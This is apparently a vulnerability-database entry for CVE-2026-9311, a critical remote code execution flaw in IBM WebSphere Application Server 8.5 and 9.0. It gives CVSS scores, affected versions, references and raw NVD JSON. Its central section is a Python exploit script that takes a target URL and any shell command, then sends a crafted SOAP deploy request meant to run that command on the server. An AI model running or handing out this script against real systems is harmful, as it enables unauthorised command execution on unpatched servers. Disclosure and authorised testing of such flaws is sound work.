CVE-2026-9311

Description

IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to remote code execution caused by the bypass of security controls.

CVSS Details

CVSS Score

9.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:* - VULNERABLE

IBM WebSphere Application Server 8.5 (所有子版本)

IBM WebSphere Application Server 9.0 (所有子版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import sys

# CVE-2026-9311 PoC - IBM WebSphere RCE via Security Bypass
# Target: IBM WebSphere Application Server 8.5/9.0

TARGET = sys.argv[1] if len(sys.argv) > 1 else 'http://target:9080'
CMD = sys.argv[2] if len(sys.argv) > 2 else 'whoami'

headers = {
    'Content-Type': 'text/xml;charset=UTF-8',
    'SOAPAction': '""'
}

# Malicious SOAP payload exploiting security bypass
payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Header/>
  <soap:Body>
    <ns2:deploy xmlns:ns2="http://websphere.ibm.com/admin/soap">
      <appName>malicious_app</appName>
      <options>-Dexec.command={CMD}</options>
    </ns2:deploy>
  </soap:Body>
</soap:Envelope>'''

try:
    response = requests.post(
        f'{TARGET}/ibm/console/unsecuredsoap',
        headers=headers,
        data=payload,
        timeout=30
    )
    print(f'Status: {response.status_code}')
    print(f'Response: {response.text}')
except requests.exceptions.RequestException as e:
    print(f'Error: {e}')

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9311
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9311
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9311/
[4] VulDB https://vuldb.com/cve/CVE-2026-9311
[5] https://www.ibm.com/support/pages/node/7274733

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9311", "sourceIdentifier": "[email protected]", "published": "2026-06-01T19:16:55.537", "lastModified": "2026-06-04T16:53:09.640", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM WebSphere Application Server 9.0, and 8.5 is vulnerable to remote code execution caused by the bypass of security controls."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:*", "versionStartIncluding": "8.5.0.0", "versionEndExcluding": "8.5.5.30", "matchCriteriaId": "08320FB1-F021-49EE-BD1F-E2A0D3A7B02B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:websphere_application_server:*:*:*:*:traditional:*:*:*", "versionStartIncluding": "9.0.0.0", "versionEndExcluding": "9.0.5.29", "matchCriteriaId": "2A4B3C11-FDA8-48D6-997F-48EEA8C3CB2C"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7274733", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}